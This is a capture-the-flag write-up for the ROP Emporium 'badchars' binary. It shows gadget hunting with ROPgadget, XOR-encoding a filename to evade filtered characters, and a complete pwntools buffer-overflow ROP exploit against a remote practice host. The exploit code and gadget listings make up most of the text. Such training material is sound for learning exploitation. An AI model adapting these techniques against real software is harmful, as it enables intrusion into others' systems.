badchars

This binary we will handle a ROP chain where we can't introduce certain characters into our input otherwise the program will terminate. To handle this, we will make use of various gadgets to enter our input and then fix it so that it properly executes.

Finding the Attack Vector

Running the binary shows us the bad characters:

```
$ ./badchars
badchars by ROP Emporium
x86_64

badchars are: 'x', 'g', 'a', '.'
> ok
Thank you!
```

Across multiple executions, the bad chars do not change. We can verify this in the debugger and note that the string printed is hardcoded, meaning that the bad chars are not meant to change.

Combing through `gdb` / `radare2`, we can check for our goal in the binary. We notice that we have `print_file` in the library and `print_file@plt` in *badchars*. This will be our goal. Like *write4*, we need to write *flag.txt* into memory, then pass its address into `print_file` so its contents are read.

To do this, we need to gadget hunt to find our available maneuvers. We need to remember we can't write *x*, *g*, *a*, or . in our input.

```
$ ROPgadget --binary badchars --only "pop|ret"
Gadgets information
============================================================
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006a0 : pop r14 ; pop r15 ; ret
0x00000000004006a2 : pop r15 ; ret
0x000000000040069b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x00000000004006a3 : pop rdi ; ret
0x00000000004006a1 : pop rsi ; pop r15 ; ret
0x000000000040069d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004ee : ret
0x0000000000400293 : ret 0xb2ec
```

These are a good start. In order to write to memory, we will need a `mov` gadget that writes to a `QWORD PTR` from a register.

```
$ ROPgadget --binary badchars --only "mov|ret"
Gadgets information
============================================================
0x0000000000400635 : mov dword ptr [rbp], esp ; ret
0x0000000000400634 : mov qword ptr [r13], r12 ; ret
0x00000000004004ee : ret
0x0000000000400293 : ret 0xb2ec
```

We opt for the second gadget rather than the first because we can write all `8` bytes rather than `4` at a time. We'll take note that we need a `pop r12` and `pop r13` gadget, which we have:

```
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
```

Now comes the kicker. We need a way to modify the data. The most common solution for this is to **`xor` the data with a known value**. This is because `xor` is its own inverse, meaning that `xor`ing the data with the same value will return the original data.

Let's hunt for a `xor` gadget:

```
$ ROPgadget --binary badchars --only "xor|ret"
Gadgets information
============================================================
0x00000000004004ee : ret
0x0000000000400293 : ret 0xb2ec
0x0000000000400628 : xor byte ptr [r15], r14b ; ret
0x0000000000400629 : xor byte ptr [rdi], dh ; ret
```

We'll take the third one. This gadget does a byte-wise `xor` of the contents of `r15` with `r14`b. `r14b` is the lowest byte of `r14`. This won't prove problematic; we already plan on using a small number to `xor`, so as long as it's a byte long, we're good.

Our popping gadget already helps us control `r14` and `r15`, which is perfect.

Building the Exploit

Our exploit needs to do the following steps:

1. Overflow the buffer provided (which takes `40` bytes).
2. `xor` the flag with a small value to avoid the bad chars.
3. Align the stack with a call to `ret`.
4. Write our `xor`-ed copy of *flag.txt* into memory.
5. Byte by byte, `xor` the data back to its original form.
6. Pass the address of the `xor`-ed data into `print_file`.

Let's do that step by step. We'll first address our binary, library, and process:

```
elf = context.binary = ELF('./badchars')
libc = ELF('./libbadchars.so')
proc = remote('vunrotc.cole-ellis.com', 5500)
```

Overflowing the buffer is simple enough.

```
padding = b'A' * 40
ropChain = b''
```

Now we need to `xor` the data. We choose `0x2` because `0x1` turns the *f* into a *g*, which is a bad character. To do this byte by byte, we can do the following:

```
flag = bytes([b ^ 0x2 for b in b'flag.txt'])    # flag = b'dnce,vzv'
```

Then, we align the stack.

```
g_ret = 0x400589
ropChain += p64(g_ret)
```

Now, we need to prepare to write the data into memory. We get an address in writeable memory that doesn't appear to be used. I explain more about this in *write4*. I chose `0x601038`, but there are lots of values to choose that work.

We need to pop the flag into `r12` and the address into `r13`. With some forethought, we know that we can also load `r14`. `r14` will contain the value we will use to `xor` the data, which was `0x2` from the previous step. We can load `r15` with a junk value.

```
g_popR12R13R14R15   = 0x40069c      # pop r12 ; pop r13 ; pop r14 ; pop r15
; ret
a_writeLoc          = 0x601038      # location to store a string
v_junk              = 0x4343434343434343

ropChain += p64(g_popR12R13R14R15)
ropChain += flag
ropChain += p64(a_writeLoc)
ropChain += p64(0x2)
ropChain += p64(v_junk)
```

Then, we need to call the method to write the data into memory.

```
```

```
g_writeR12AtR13 = 0x400634      # mov qword ptr [r13], r12 ; ret
ropChain += p64(g_writeR12AtR13)
```

Now, we need to `xor` the data back to its original form. This involves popping a byte into `r15` and then calling the `xor` function. `0x2` is already in `r14b`, so we don't need to do the initialization every time. This is best accomplished with a `for` loop:

```
for i in range(8):
    ropChain += p64(g_popR15)
    ropChain += p64(a_writeLoc + i)
    ropChain += p64(g_xor1514)
```

Finally, we load the address into `rdi` and call `print_file`.

```
ropChain += p64(g_popRdi)
ropChain += p64(a_writeLoc)
ropChain += p64(f_printfile)
```

We can now send the payload and get our flag.

```
print(proc.readuntil(b'> '))
proc.send(padding + ropChain)
proc.interactive()
```

Full Exploit

Here is the full exploit for reference.

```
from pwn import *

elf = context.binary = ELF('./badchars')
libc = ELF('./libbadchars.so')
proc = remote('vunrotc.cole-ellis.com', 5500)

v_junk              = 0x4343434343434343
a_writeLoc          = 0x601038      # location to store a string

f_printfile         = 0x400510

g_ret               = 0x400589
g_popRdi            = 0x4006a3      # pop rdi ; ret
g_popR12R13R14R15   = 0x40069c      # pop r12 ; pop r13 ; pop r14 ; pop r15
; ret
```

```
g_writeR12AtR13     = 0x400634      # mov qword ptr [r13], r12 ; ret
g_xor1514           = 0x400628      # xor byte ptr [r15], r14b ; ret
g_popR15            = 0x4006a2      # pop r15; ret;

# XOR flag with 0x2 to avoid the badchars
flag = bytes([b ^ 0x2 for b in b'flag.txt'])

padding = b'A' * 40
ropChain = b''

# align the stack
ropChain += p64(g_ret)

# load registers (r12=flag, r13=writeLoc, r14=0x2, r15=v_junk)
ropChain += p64(g_popR12R13R14R15)
ropChain += flag
ropChain += p64(a_writeLoc)
ropChain += p64(0x2)
ropChain += p64(v_junk)

# store flag in writeLoc
ropChain += p64(g_writeR12AtR13)

# xor each byte of flag with 0x2
for i in range(8):
    ropChain += p64(g_popR15)
    ropChain += p64(a_writeLoc + i)
    ropChain += p64(g_xor1514)

# call print_file with writeLoc
ropChain += p64(g_popRdi)
ropChain += p64(a_writeLoc)
ropChain += p64(f_printfile)

print(proc.readuntil(b'> '))
proc.send(padding + ropChain)
proc.interactive()
```

There is an alternative solution that achieves shell on this file doing a GOT-overwrite. GOT-overwrites are covered in Section 0x8. This particular exploit is actually covered in TheFinale, as it's the only challenge with privileged permissions.